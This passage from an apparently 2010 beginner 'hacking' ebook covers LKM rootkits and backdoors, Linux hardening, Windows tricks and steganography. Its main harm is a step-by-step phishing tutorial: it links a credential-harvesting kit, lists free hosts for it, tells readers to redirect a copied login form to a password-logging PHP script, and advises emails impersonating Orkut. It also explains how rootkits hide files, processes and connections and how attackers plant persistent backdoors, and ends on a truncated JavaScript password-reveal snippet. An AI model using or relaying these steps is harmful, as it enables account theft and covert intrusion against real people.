Kernel Module) trojans. Loadable Kernel Modules are a mechanism for adding functionality to an operating-system kernel
without requiring a kernel recompilation. Even if an infected system is rebooted, the LKM process will reload the Trojan
during boot-up just like any other kernel module. Loadable Kernel Modules are used by many operating systems including
Linux, Solaris, and FreeBSD.
The LKM rootkits facilitate the subversion of system binaries. Knark, Adore, and Rtkit are just a few of many LKM rootkits
available today. As they run as part of the kernel, these rootkits are less detectable than conventional ones.
Let us see how a typical backdoor can be installed by an intruder.
The goal of backdoor is to give access to the hacker despite measures by the compromised system's administrator, with
least amount of time and visibility. The backdoor that gives local user root access can be: set uid programs, trojaned
system programs, cron job backdoor.
Set uid programs. The attacker may plant some set uid shell program in the file system, which when executed will grant
the root to the attacker.
Trojaned system programs. The attacker can alter some system programs, such as "login" that will give him root access.
Cron job backdoor. The attacker may add or modify the jobs of the cron while his program is running so that he can get
root access.
The backdoor that gives remote user root access can be: ".rhost" file ssh authorized keys, bind shell, trojaned service.






".rhosts" file. Once "+ +" is in some user's .rhosts file, anybody can log into that account from anywhere without
password.
ssh authorized keys. The attacker may put his public key into victims ssh configuration file "authorized_keys", so
that he can log into that account without password.
Bind shell. The attacker can bind the shell to certain TCP port. Anybody doing a telnet to that port will have an
interactive shell. More sophisticated backdoors of this kind can be UDP based, or unconnected TCP, or even ICMP
based.
Trojaned service. Any open service can be trojaned to give access to remote user. For example, trojaned the inetd
program creates a bind shell at certain port, or trojaned ssh daemon give access to certain password.

After the intruder plants and runs the backdoor, his attention turns to hiding his files and processes. However, these can
be easily detected by the system administrator - especially if the system is running tripwire.
Let us see how a LKM rootkit helps achieve the attacker's needs.
In the case of LKM trojaned rootkits, the attacker can put LKM in /tmp or /var/tmp, the directory that the system
administrator cannot monitor. Moreover, he can effectively hide files, processes, and network connections. Since he can
modify the kernel structures, he can replace the original system calls with his own version.





To hide files. Commands like "ls", "du" use sys_getdents() to obtain the information of a directory. The LKM will
just filter out files such that they are hidden.
To hide processes. In Linux implementations, process information is mapped to a directory in /proc file system. An
attacker can modify sys_getdents() and mark this process as invisible in the task structure. The normal
implementation is to set task's flag (signal number) to some unused value.
To hide network connections. Similar to process hiding, the attacker can try to hide something inside
/proc/net/tcp and /proc/net/udp files. He can trojan the sys_read () so that whenever the system reads these two
files and a line matching certain string, the system call will not reveal the network connection.

www.hackingtech.co.tv

Page 89

Hacking For Beginners – Manthan Desai








2010

To redirect file execution. Sometimes, the intruder may want to replace the system binaries, like "login", without
changing the file. He can replace sys_execve () so that whenever the system tries to execute the "login" program,
it will be re-directed to execute the intruder's version of login program.
To hide sniffer. Here we refer to hiding the promiscuous flag of the network interface. The system call to Trojan in
this case is sys_ioctl().
To communicate with LKM. Once the hacker has his LKM installed, he will attempt to modify some system calls
such that when a special parameter is passed, the system call will be subverted.
To hide LKM. A perfect LKM must be able to hide itself from the administrator. The LKM's in the system are kept
in a single linked list. To hide a LKM an attacker can just remove it from the list so that command such as "lsmod"
will not reveal it.
To hide symbols in the LKM. Normally functions defined in the LKM will be exported so that other LKM can use
them. An attacker can use a macro and put it at the end of LKM to prevent any symbols from being exported.

Linux Tools : Security Testing tools
o

NMap (http://www.insecure.org/nmap)
Premier network auditing and testing tool.

o

LSOF (ftp://vic.cc.pudue.edu/pub/tools/unix/lsof)
LSOF lists open files for running Unix/Linux processes.

o

Netcat (http://www.atstake.com/research/tools/index.html)
Netcat is a simple Unix utility which reads and writes data across network connections, using TCP or UDP
protocol.

o

Hping2 (http://www.kyuzz.org/antirez/hping/)
hping2 is a network tool able to send custom ICMP/UDP/TCP packets and to display target replies like
ping does with ICMP replies.

o

Nemesis (http://www.packetninja.net/nemesis/)
The Nemesis Project is designed to be a command-line based, portable human IP stack for Unix/Linux

Linux Security Countermeasures
Countermeasures






Physical Security
o It is ideal to restrict physical access the computer system so that unauthorized people don't get to misuse
the system.
Password Security
o Assign hard to guess passwords which are long enough.
o Ensure procedural discipline so that passwords are kept private
o Ensure that system does not accept null password or other defaults
Network Security
o Ensure all default network accesses are denied
$ cat: ALL: ALL" >> /etc/hosts.deny
www.hackingtech.co.tv

Page 90

Hacking For Beginners – Manthan Desai
o

2010

Ensure that only essential services are running. Stop unused services like sendmail, NFS etc
$ chkconfig --list
$ chkconfig --del sendmail
$ chkconfig --del nfslock
$ chkconfig --del rpc



o Verify system logs at regular intervals to check for suspicious activity - (System logs in /var/log/secure)
Patch the Linux system and keep it up to date
o Check for bug fixes at the vendor site
o Update packages as and when available at the Update site of the vendor.

www.hackingtech.co.tv

Page 91

Hacking For Beginners – Manthan Desai

2010

The Tutorial based hacks and explanations.

www.hackingtech.co.tv

Page 92

Hacking For Beginners – Manthan Desai

2010

1. Chat With Friends using MS-DOS

Step 1:- All you need is your friends IP address and your Command Prompt.
Step 2 :- Open your notepad and write tis code as it is.

@echo off:
A
Cls
echo MESSENGER
set /p n=User:
set /p m=Message:
net send %n% %m%
Pause
Goto A3.
Step 3 :- Now save this as "Messenger.Bat”.
Step 4 :- Drag this file (.bat file)over to Command Prompt and press enter!
Step 5 :- You would then see some thing like this:
MESSENGER
User:
Step 6 :- After "User” type the IP address of the computer you want to contact.
Step 7 :- Before you press "Enter” it should look like this:
MESSENGER
User: IP_Address User: IP_Address
Message: Hi, How are you ? Message: Hi, How are you?
Step 8 :- Now all you need to do is press "Enter”, and start chatting.

“This Trick Works In the LAN connection Only. And may Not support some latest operating Systems
like Windows 7 and Windows Vista.”

www.hackingtech.co.tv

Page 93

Hacking For Beginners – Manthan Desai

2010

2. How To Change Your IP address
Step 1. Click on "Start" in the bottom left hand corner of screen
Step 2. Click on "Run"
Step 3. Type in "cmd" and hit ok You should now be at an MSDOS prompt screen.
Step 4. Type "ipconfig /release" just like that, and hit "enter"
Step 5. Type "exit" and leave the prompt
Step 6. Right-click on "Network Places" or "My Network Places" on your desktop.
Step 7. Click on "properties
You should now be on a screen with something titled "Local Area Connection", or something close to that, and, if you
have a network hooked up, all of your other networks.
Step 8. Right click on "Local Area Connection" and click "properties"
Step 9. Double-click on the "Internet Protocol (TCP/IP)" from the list under the "General" tab
Step 10. Click on "Use the following IP address" under the "General" tab
Step 11. Create an IP address (It doesn't matter what it is. I just type 1 and 2 until i fill the area up).
Step 12. Press "Tab" and it should automatically fill in the "Subnet Mask" section with default numbers.
Step 13. Hit the "Ok" button here
Step 14. Hit the "Ok" button again You should now be back to the "Local Area Connection" screen.
Step 15. Right-click back on "Local Area Connection" and go to properties again.
Step 16. Go back to the "TCP/IP" settings
Step 17. This time, select "Obtain an IP address automatically" tongue.gif
Step 18. Hit "Ok"
Step 19. Hit "Ok" again
Step 20. You now have a new IP address
With a little practice, you can easily get this process down to 15 seconds.

“This only changes your dynamic IP address, not your ISP/IP address. If you plan on hacking a
website with this trick be extremely careful, because if they try a little, they can trace it back.”

www.hackingtech.co.tv

Page 94

Hacking For Beginners – Manthan Desai

2010

3. How To fix corrupted XP files

How to fix corrupted windows file is very easy.Following these following steps
Requirement:
1. Windows XP CD
Now, follow this steps:
Step 1. Place the xp cd in your cd/dvd drive
Step 2. Go to start
Step 3. Run
Step 4. Type sfc /scannow
Now sit back and relax, it should all load and fix all your corrupted file on win XP.Hope this method can fix your corrupted
xp system files.

“ If this Does Not Work Then You Need to Format The Computer as there would be Viruses in the
PC and you can can Also Use the antivirus if the Possible otherwise format the PC “.

www.hackingtech.co.tv

Page 95

Hacking For Beginners – Manthan Desai

2010

4. Delete an “Undeletable” File / Folder

You all Are familier With such kinfd of ERROR in windows so how to Fix them.
Step 1:- Open a Command Prompt window and leave it open.
Step 2- Close all open programs.
Step 3:- Click Start, Run and enter TASKMGR.EXE
Step 4:- Go to the Processes tab and End Process on Explorer.exe.
Step 5:- Leave Task Manager open.
Step 6:- Go back to the Command Prompt window and change to the directory the AVI (or other undeletable file) is
located in.
Step 7:- At the command prompt type DEL  where  is the file you wish to delete.
Step 8:- Go back to Task Manager, click File, New Task and enter EXPLORER.EXE to restart the GUI shell.
Step 9:- Close Task Manager.

Or you can try this
Step 1:- Open Notepad.exe
Step 2:-Click File>Save As..>
Step 3:-locate the folder where ur undeletable file is
Step 4:-Choose 'All files' from the file type box
Step 5:-click once on the file u wanna delete so its name appears in the 'filename' box
Step 6:-put a " at the start and end of the filename
(the filename should have the extension of the undeletable file so it will overwrite it)
Step 7:-click save,

www.hackingtech.co.tv

Page 96

Hacking For Beginners – Manthan Desai

2010

Step 8:-It should ask u to overwrite the existing file, choose yes and u can delete it as normal

Here's a manual way of doing it.
Step 1:- Start
Step 2:- Run
Step 3:- Type: command
Step 4:- To move into a directory type: cd c:\*** (The stars stand for your folder)
Step 5:- If you cannot access the folder because it has spaces for example Program Files or Kazaa Lite folder you have to
do the following. instead of typing in the full folder name only take the first 6 letters then put a ~ and then 1 without
spaces. Example: cd c:\progra~1\kazaal~1
Step 6:- Once your in the folder the non-deletable file it in type in dir - a list will come up with everything inside.
Step 7:- Now to delete the file type in del ***.bmp, txt, jpg, avi, etc... And if the file name has spaces you would use the
special 1st 6 letters followed by a ~ and a 1 rule. Example: if your file name was bad file.bmp you would type once in the
specific folder thorugh command, del badfil~1.bmp and your file should be gone. Make sure to type in the correct
extension.

“ You can use antivirus to remove this error if then also the problem persists then you can use the
following method “.

www.hackingtech.co.tv

Page 97

Hacking For Beginners – Manthan Desai

2010

5. What Is Steganography?

Steganography is the art and science of hiding messages. Steganography is often combined with cryptography so that
even if the message is discovered it cannot be read.
The word steganography is derived from the Greek words "steganos" and "graphein", which mean "covered" and
"writing." Steganography, therefore, is covered writing.
Historical stenganography involved techniques such as disappearing ink or microdots. Modern steganography involves
hiding data in computer files.
It is fairly easy to hide a secret message in a graphic file without obviously altering the visible appearance of that file.
Steganography software
OutGuess is a universal steganographic tool that allows the insertion of hidden information into the redundant bits of
data sources. The nature of the data source is irrelevant to the core of OutGuess. The program relies on data specific
handlers that will extract redundant bits and write them back after modification. In this version the PNM and JPEG image
formats are supported. In the next paragraphs, images will be used as concrete example of data objects, though OutGuess
can use any kind of data, as long as a handler is provided.
F5 is a publicly available steganography software package which hides messages in BMP, GIF , and JPG graphics.
Camera/Shy is the only steganographic tool that automatically scans for and delivers decrypted content straight from the
Web. It is a stand-alone, Internet Explorer-based browser that leaves no trace on the user's system and has enhanced
security.
JPHIDE and JPSEEK are programs which allow you to hide a file in a jpeg visual image. There are lots of versions of similar
programs available on the internet but JPHIDE and JPSEEK are rather special. The design objective was not simply to hide
a file but rather to do this in such a way that it is impossible to prove that the host file contains a hidden file. Given a
typical visual image, a low insertion rate (under 5%) and the absence of the original file, it is not possible to conclude with
any worthwhile certainty that the host file contains inserted data. As the insertion percentage increases the statistical
nature of the jpeg coefficients differs from "normal" to the extent that it raises suspicion. Above 15% the effects begin to
become visible to the naked eye. Of course some images are much better than others when used a host file - plenty of
fine detail is good. A cloudless blue sky over a snow covered ski paradise is bad. A waterfall in a forest is probably ideal.

www.hackingtech.co.tv

Page 98

Hacking For Beginners – Manthan Desai

2010

MP3Stego will hide information in MP3 files during the compression process. The data is first compressed, encrypted and
then hidden in the MP3 bit stream. Although MP3Stego has been written with steganographic applications in mind it
might be used as a copyright marking system for MP3 files (weak but still much better than
the MPEG copyright flag defined by the standard). Any opponent can uncompress the bit stream and recompress it; this
will delete the hidden information (actually this is the only attack we know yet) but at the expense of severe quality loss.
Steghide is a steganography program that is able to hide data in JPG, BMP, WAV, and AU files. The color frequencies are
not changed thus making the embedding resistant against first-order statistical tests.
Hydan steganographically conceals a message ito an executable. It exploits redundancy in the i386 instruction set by
defining sets of functionally equivalent instructions. It then encodes information in machine code by using the
appropriate instructions from each set. The executable filesize remains unchanged. The message is Blowfish encrypted
with a user-supplied passphrase before being embedded.
The 1st method that We will Study Here Is Using command Prompt.
To hide a file behind a image.
To hide a file behind a image file which means that if any one opens that image he will see the image only but if you open
in a special way then you can open the hidden file behind the image.
So to hide the file behind a image open CMD.exe

1) Select an image to be used for hiding file behind the image.
2) Now select a file to hide behind the image and make it in .RAR format. With the help of the WinRAR.
3) And most important is that paste both the files on desktop and run the following command on the command
prompt.
4) And then type the following command. { cd } { Copy /b imagename.jpg + filename.rar finalnameofimage.jpg }

www.hackingtech.co.tv

Page 99

Hacking For Beginners – Manthan Desai

2010

And then hit enter the file will be created with the file final file name of the image.

“ Using This method for The illegal Activities is against the Laws this tutorial is for educational
purpose only “.

“ You Can Also Use The softwares for the steganography like STEGHIDE Or F5 which will make your
work easy and time efficient “.

www.hackingtech.co.tv

Page 100

Hacking For Beginners – Manthan Desai

2010

6. What Is MD5 Hash & How to Use It ?

In this post I will explain you about an interesting cryptographic algorithm called MD5 (Message-Digest algorithm 5). This
algorithm is mainly used to perform file integrity checks under most circumstances. Here I will not jump into the technical
aspects of this algorithm, rather will tell you about how to make use of this algorithm in your daily life. Before I tell you
about how to use MD5, I would like to share one of my recent experience which made me start using MD5 algorithm.
Recently I made some significant changes and updates to my website and as obvious I generated a complete backup
of the site on my server. I downloaded this backup onto my PC and deleted the original one on the server. But after a few
days something went wrong and I wanted to restore the backup that I downloaded. When I tried to restore the backup I
was shocked! The backup file that I used to restore was corrupted. That means, the backup file that I downloaded onto
my PC wasn’t exactly the one that was on my server. The reason is that there occured some data loss during the
download process. Yes, this data loss can happen often when a file is downloaded from the Internet. The file can be
corrupted due to any of the following reasons.
 Data loss during the download process, due to instability in the Internet connection/server
 The file can be tampered due to virus infections or,
 Due to Hacker attacks
So whenever you download any valuable data from the Internet it is completely necessary that you check the integrity of
the downloaded file. That is you need to ensure that the downloaded file is exactly the same as that of the original one. In
this scenario the MD5 hash can become handy. All you have to do is generate MD5 hash (or MD5 check-sum) for the
intended file on your server. After you download the file onto your PC, again generate MD5 hash for the downloaded file.
Compare these two hashes and if it matches then it means that the file is downloaded perfectly without any data loss.
A MD5 hash is nothing but a 32 digit hexadicimal number which can be something as follows
A simple MD5 Hash
e4d909c290d0fb1ca068ffaddf22cbd0
This hash is unique for every file irrespective of it’s size and type. That means two .exe files with the same size will not
have the same MD5 hash even though they are of same type and size. So MD5 hash can be used to uniquely identify a
file.

www.hackingtech.co.tv

Page 101

Hacking For Beginners – Manthan Desai

2010

How to use MD5 Hash to check the Integrity of Files?
Suppose you have a file called backup.tar on your server. Before you download, you need to generate MD5 hash for this
file on your server. To do so use the following command.
For UNIX:
md5sum backup.tar
When you hit ENTER you’ll see something as follows
e4d909c290d0fb1ca068ffaddf22cbd0
This is the MD5 hash for the file backup.tar. After you download this file onto your PC, you can cross check it’s integrity by
again re-generating MD5 hash for the downloaded file. If both the hash matches then it means that the file is perfect.
Otherwise it means that the file is corrupt. To generate the MD5 hash for the downloaded file on your Windows PC use
the following freeware tool.

“You can Download MD5 Summer From Here: http://www.md5summer.org/download.html “.

www.hackingtech.co.tv

Page 102

Hacking For Beginners – Manthan Desai

2010

7. What Is Phishing ?

The act of sending an Email to a user falsely claiming to be an established legitimate enterprise in an attempt to scam the
user into surrendering private information that will be used for identity theft.
The Email directs the user to visit a Web site where they are asked to update personal information, such as passwords
and credit card, social security, and bank account numbers, that the legitimate organization already has. The Web site,
however, is Bogus and set up only to steal the User’s information.

Phishing attacks are Trying to steal your Money !!!
Phishing Scams Could Be Emails inviting you to join a Social Group, asking you to Login using your Username and Password.
 Email saying that Your Bank Account is locked and Sign in to Your Account to Unlock IT.
 Emails containing some Information of your Interest and asking you to Login to Your Account.
 Any Email carrying a Link to Click and asking you to Login.
The Phishing Hack Starts Now. this Hack example is for orkut account.
Step 1:- Download the necessary files Which you will need during the phishing attack. This file is a .rar file which
includes 3 files named hackingtech.php, hackingtech.txt & ServiceLogin.html and also consist a folder in which
there are support files for ServerLogin.html
“You can Download the pack From Here: http://www.hackingtech.co.tv/orkuthacking.rar “.
Step 2:- Unrar the download pack named orkuthacking.rar any where on your computer.
Step 3:- Upload the folder "ServiceLogin_files" and 2 of the files ->> "hackingtech.php" and "hackingtech.txt" in any
web hosting site..
You will have to create a sub-folder in the web hosting site's directory. Name that folder as "ServiceLogin_files" and
upload the 2 images of the pack in that folder. (it must support PHPs.)
>>> You can choose one of the following web hosting Company to upload the Folder.
http://www.freeweb7.com
http://Ripway.com{Recommended}
http://www.110mb.com
http://www.phpnet.us
www.hackingtech.co.tv

Page 103

Hacking For Beginners – Manthan Desai

2010

http://www.byethost.com
http://www.t35.com
http://www.awardspace.com
http://www.free-webhosts.com/free-php-webhosting.php
http://www.freehostia.com
http://www.dajoob.com
http://ifastnet.com
http://007ihost.com
http://www.247mb.com/register.jsp
http://www.10gbfreehost.com/

Step 4:- Your work is over now. Just give the link ofurfake page to the victim and whenever he/she will type the password
and sign in . Password will be stored in "hackingtech.txt"...

General form of the fake page's link
Code:
http://urwebhostingsite/urusername/ServiceLogin.htm
Step 5:- Now you can send this link to victim by any mode but the best is my email send a fake email in the name of orkut
the your orkut account has a security problem pl. click on th link below and re-activate your account. we will see how to
send fake email within short time.

Now If You want to create your own phishing page the follow the steps below.
Step 1:-Open the website whose phishing page you want create.
Step 2:-Then right click any where on the page and select view source.
Step 3:-Press ( Ctrl + A ) and the code will be selected and then press ( Ctrl + C ) to copy the code.
Step 4:-The paste this code in a new notepad window and save it as ServerLogin.htm
Step 5:- Open "ServiceLogin.htm" with notepad and the search for word "action". [press ctrl+f to find the word]
Step 6:-You will find like this action=" https://www.google.com/accounts/ServiceLoginAuth "
Step 7:-Replace the link between this red quote with the link you got by uploading the file hackingtech.php and it should
be like this action=" http://www.yourhostingcompany.com/username/hackingtech.php "
Step 8:-Now Save this as serverlogin.htm
Step 9:-Now Upload the folder "ServiceLogin_files" and 2 of the files ->> "hackingtech.php" and "hackingtech.txt" and
serverlogin.htm file in any web hosting site you want.
Step 10:-You are done just go to the link of the file serverlogin.htm given by your hosting company .
Step 11:- Now you can send this link to victim by any mode but the best is my email send a fake email in the name of
orkut the your orkut account has a security problem pl. click on th link below and re-activate your account. we will see
how to send fake email within short time.
Step 12:-To see the passwords that you have hacked just go to the link of hackingtech.txt given by your hosting company .

www.hackingtech.co.tv

Page 104

Hacking For Beginners – Manthan Desai

2010

Prevention Against Phishing :




Read all the Email Carefully and Check if the Sender is Original.
Watch the Link Carefully before Clicking
Always check the URL in the Browser before Signing IN to your Account
Always Login to Your Accounts after opening the Trusted Websites, not by Clicking in any other Website or Email.

“Do not use this hack trick in any criminal activities like phishing bank websites and please do not
destroy any ones account this is only for educational purpose”.

www.hackingtech.co.tv

Page 105

Hacking For Beginners – Manthan Desai

2010

8. How To View Hidden Password behind ****
Step 1.First of all open up the webpage on which you wanna show the hidden passwords.

Step 2. Then in the username there must be the name and in the password there must be ********
Step 3.Now to see the password which is behind the ******** Just copy and paste the following JavaScript into the
address bar of the browser and you are done.

javascript:(function(){var%20s,F,j,f,i;%20s%20=%20%22%22;
%20F%20=%20document.forms;%20for(j=0;%20j

Navigation menu